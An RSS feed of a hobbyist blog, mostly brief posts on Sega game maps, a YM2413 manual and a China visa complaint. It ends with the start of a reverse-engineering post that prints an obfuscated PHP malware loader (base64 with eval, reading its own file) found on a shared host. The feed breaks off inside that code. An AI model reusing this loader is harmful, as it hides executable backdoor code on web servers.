<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Maxim's World of Stuff</title>
<link>http://www.smspower.org/maxim/RSS</link>
<description>Blag</description>
<lastBuildDate>Sat, 27 Feb 2010 11:08:02 GMT</lastBuildDate>
<item>
<title>Aleste Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;I rapidly mapped &lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/Aleste?sid=c7697c20173c531dce70ad7277066e5b'&gt;Aleste&lt;/a&gt; one night when I was supposed to be sleeping.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/AlesteMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-27T11:08:02Z</dc:date>
<pubDate>Sat, 27 Feb 2010 11:08:02 GMT</pubDate>
</item>
<item>
<title>Maxim Misplaces Micro Machines Maps, Making Much Misery</title>
<author>Maxim</author>
<description>&lt;p&gt;Somehow I managed to miss off &lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/MicroMachines'&gt;Micro Machines&lt;/a&gt; when I was converting the maps pages! Luckily I had copies available elsewhere and archive.org had the page text...
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/MicroMachines'&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Maps/Micro%20Machines%20-%20Crayon%20Canyons.jpg' alt='' title='' /&gt;&lt;/a&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/MaximMisplacesMicroMachinesMapsMakingMuchMisery</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-09T00:58:59Z</dc:date>
<pubDate>Tue, 09 Feb 2010 00:58:59 GMT</pubDate>
</item>
<item>
<title>Blag Lacks Posts, Nobody Surprised</title>
<author>Maxim</author>
<description>&lt;p&gt;Yeah yeah. Well, I've been doing all the stuff for &lt;a class='urllink' href='http://wip2.smspower.org' rel='nofollow'&gt;http://wip2.smspower.org&lt;/a&gt;, plus I was away in 中国河南郑州 for pretty much all of December. I may start posting here about the wip2 stuff I do, unless I do that in the forums. It's not like anyone reads this stuff, right?
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/BlagLacksPostsNobodySurprised</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2010-02-08T00:31:10Z</dc:date>
<pubDate>Mon, 08 Feb 2010 00:31:10 GMT</pubDate>
</item>
<item>
<title>Teddy Boy Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;I find it rather relaxing to make maps.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/TeddyBoy'&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Maps/Teddy%20Boy%20-%20Round%2048.png' alt='' title='' /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p class='vspace'&gt;I wonder what the significance of 4920 is?
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/TeddyBoyMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-15T13:33:04Z</dc:date>
<pubDate>Sun, 15 Nov 2009 13:33:04 GMT</pubDate>
</item>
<item>
<title>Picasa Face Detection</title>
<author>Maxim</author>
<description>&lt;p&gt;Picasa 3.5 now has face detection built in. It's not &lt;em&gt;too&lt;/em&gt; bad at recognising different people, and grouping them together, but some of the things it does are a bit... wacky.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Blag/face.png' alt='' title='' /&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/PicasaFaceDetection</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-08T19:19:10Z</dc:date>
<pubDate>Sun, 08 Nov 2009 19:19:10 GMT</pubDate>
</item>
<item>
<title>Desert Strike Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;Yet more maps made.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/DesertStrike'&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Maps/Desert%20Strike%20-%20Air%20Supremacy.jpg' alt='' title='' /&gt;&lt;/a&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/DesertStrikeMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-31T01:53:48Z</dc:date>
<pubDate>Sat, 31 Oct 2009 01:53:48 GMT</pubDate>
</item>
<item>
<title>The Lucky Dime Caper Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;More maps.
&lt;/p&gt;
&lt;p class='vspace'&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/LuckyDimeCaper'&gt;The Lucky Dime Caper&lt;/a&gt;
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/TheLuckyDimeCaperMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-21T22:10:04Z</dc:date>
<pubDate>Wed, 21 Oct 2009 22:10:04 GMT</pubDate>
</item>
<item>
<title>ono</title>
<author>Maxim</author>
<description>&lt;p&gt;I've added a page for &lt;a class='wikilink' href='http://www.smspower.org/maxim/SMSSoftware/Ono'&gt;ono&lt;/a&gt;, my SMS Power! Coding Competition 2009 entry. It's also the first release for the source code.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/SMSSoftware/Ono'&gt;&lt;img src='http://www.smspower.org/maxim/uploads/SMSSoftware/onoBox.png' alt='' title='' /&gt;&lt;/a&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/Ono</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-06T08:00:14Z</dc:date>
<pubDate>Tue, 06 Oct 2009 08:00:14 GMT</pubDate>
</item>
<item>
<title>R.C. Grand Prix Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;Yet more mapping goodness. I stayed up far too late doing this, but I did get a quite satisfactory hack for it eventually...
&lt;/p&gt;
&lt;p class='vspace'&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/RCGrandPrix'&gt;R.C. Grand Prix maps&lt;/a&gt;
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/RCGrandPrixMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-23T01:27:07Z</dc:date>
<pubDate>Wed, 23 Sep 2009 01:27:07 GMT</pubDate>
</item>
<item>
<title>Highslide For Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;I added &lt;a class='urllink' href='http://www.pmwiki.org/wiki/Cookbook/Highslide' rel='nofollow'&gt;a &#34;recipe&#34;&lt;/a&gt; that uses the &lt;a class='urllink' href='http://highslide.com/' rel='nofollow'&gt;Highslide&lt;/a&gt; JavaScript library to make the images in the maps section do a cool JavaScripty thing when you click on them. You can still right-click and middle-click and all that.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/HighslideForMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-19T20:00:42Z</dc:date>
<pubDate>Sat, 19 Sep 2009 20:00:42 GMT</pubDate>
</item>
<item>
<title>Pac-In-Time Maps</title>
<author>Maxim</author>
<description>&lt;p&gt;I've mapped &lt;a class='wikilink' href='http://www.smspower.org/maxim/Maps/Pac-In-Time'&gt;Pac-In-Time&lt;/a&gt; for the Game Gear. Notice the music guy's website... impressively loony.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/Pac-In-TimeMaps</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-18T21:55:32Z</dc:date>
<pubDate>Fri, 18 Sep 2009 21:55:32 GMT</pubDate>
</item>
<item>
<title>YM2413 Application Manual</title>
<author>Maxim</author>
<description>&lt;p&gt;I've converted the YM2413AM from my old doc to a wiki format. While it wasn't really necessary, it's nice not to have legacy stuff hanging around.
&lt;/p&gt;
&lt;p class='vspace'&gt;&lt;a class='wikilink' href='http://www.smspower.org/maxim/Documents/YM2413ApplicationManual'&gt;YM2413 Application Manual&lt;/a&gt;
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/YM2413ApplicationManual</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-16T11:04:22Z</dc:date>
<pubDate>Wed, 16 Sep 2009 11:04:22 GMT</pubDate>
</item>
<item>
<title>Philips TV Service Menu</title>
<author>Maxim</author>
<description>&lt;p&gt;062596 and then the button with an &#34;i&#34; on it (the OSD button, one up from the bottom right). No more overscan!
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/PhilipsTVServiceMenu</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-09-10T20:49:34Z</dc:date>
<pubDate>Thu, 10 Sep 2009 20:49:34 GMT</pubDate>
</item>
<item>
<title>Why I Do Things At The Last Minute</title>
<author>Maxim</author>
<description>&lt;p&gt;Update: here's a short answer for those wackos asking Google why they do things at the last minute:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;You're lazy
&lt;/li&gt;&lt;li&gt;So long as it's done in time, it doesn't matter. Only when things go wrong would it have helped to do it earlier. So if you never screw things up, there's no problem.
&lt;/li&gt;&lt;/ol&gt;&lt;div class='vspace'&gt;&lt;/div&gt;&lt;hr /&gt;
&lt;p class='vspace'&gt;My dear, beloved wife doesn't like me doing things at the last minute. Of course, laziness always pays off now.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div class='indent'&gt;Fry: But, you are lazy right?&lt;br /&gt;&lt;del&gt;Sal&lt;/del&gt; Maxim: Oh, don't get me started. 
&lt;/div&gt;&lt;p class='vspace'&gt;But sometimes doing things early doesn't pay off so well.
&lt;/p&gt;
&lt;p class='vspace'&gt;&lt;a name='more' id='more'&gt;&lt;/a&gt;
You see, I'm off on holiday in December, to China. As is entirely sensible, the Chinese don't like us 鬼佬 so we all have to get visas.
&lt;/p&gt;
&lt;p class='vspace'&gt;The process has changed a bit recently. Before it was:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Fill in a form
&lt;/li&gt;&lt;li&gt;Take it to the Chinese embassy, with your passport
&lt;ol&gt;&lt;li&gt;They look it over, take it and give you a receipt
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;Wait for them to check if you're a terrorist and/or journalist
&lt;/li&gt;&lt;li&gt;Go back and pay £30 to get your passport with a visa in it
&lt;/li&gt;&lt;/ol&gt;&lt;p class='vspace'&gt;Now it's:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Fill in a form
&lt;/li&gt;&lt;li&gt;Take it to the Chinese Visa Application Service Centre, with your passport
&lt;ol&gt;&lt;li&gt;They take it and give you a receipt
&lt;/li&gt;&lt;li&gt;Then they send the stuff to the embassy, who do the checks, etc.
&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;Go back and pay £30 (for the embassy), another £30 (for the CVASC's &#34;work&#34;), and £4.50 tax (for no known reason, it's not even a sensible percentage of anything) to get your passport with a visa in it
&lt;/li&gt;&lt;/ol&gt;&lt;p class='vspace'&gt;So it's a rip off. Annoyance #1. But I didn't get to the point yet. You see, I'm going on holiday in December. Right now, it's September. So there's a touch over three months between now and then.
&lt;/p&gt;
&lt;p class='vspace'&gt;When you fill in the form you say what day you're going:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div class='indent'&gt;2.3 首次可能抵达中国的日期 / Date of Your First Possible Entry into China (YY-MM-DD)
&lt;/div&gt;&lt;p class='vspace'&gt;But, not shown on the form, and in fact distributed across various webpages and documents, are the following facts:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;The visa will be valid &lt;em&gt;from the date of issue&lt;/em&gt;
&lt;/li&gt;&lt;li&gt;The visa will be valid &lt;em&gt;for three months&lt;/em&gt;
&lt;/li&gt;&lt;li&gt;The embassy/CVASC take no responsibility for you applying at the wrong time (e.g. the day before you leave)
&lt;/li&gt;&lt;/ul&gt;&lt;p class='vspace'&gt;And one thing that isn't written down anywhere:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;They pay no attention at all to what you put as an answer to question 2.3; if that's more than three months away, they'll happily give you a £64.50 visa you have no use for.
&lt;/li&gt;&lt;/ul&gt;&lt;p class='vspace'&gt;The CVASC's advice to me was to either go to China earlier, or to apply again. Gah.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/WhyIDoThingsAtTheLastMinute</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-10-22T13:42:28Z</dc:date>
<pubDate>Thu, 22 Oct 2009 13:42:28 GMT</pubDate>
</item>
<item>
<title>Why Shared Hosting Sucks</title>
<author>Maxim</author>
<description>&lt;p&gt;During our recent server upheavals I came across a suspicious-looking PHP file that was multiply-obfuscated. Here's the reverse engineering process...
&lt;/p&gt;
&lt;p class='vspace'&gt;
Here's the original:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;
&lt;div class='sourceblock ' id='sourceblock1'&gt;
  &lt;div class='sourceblocktext'&gt;&lt;div class=&#34;php&#34; style=&#34;font-family:monospace;&#34;&gt;&lt;span class=&#34;kw2&#34;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&#34;coMULTI&#34;&gt;/* &amp;nbsp;*/&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kw3&#34;&gt;urldecode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;st_h&#34;&gt;'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;9&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000O00&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$O0O000O00&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$O0O00OO00&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;9&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO00000O&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO000000&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0O0O00&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kw2&#34;&gt;__FILE__&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OO00O0000&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;26100&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;eval&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$OOO0000O0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;st_h&#34;&gt;'aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;return&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;sy1&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;
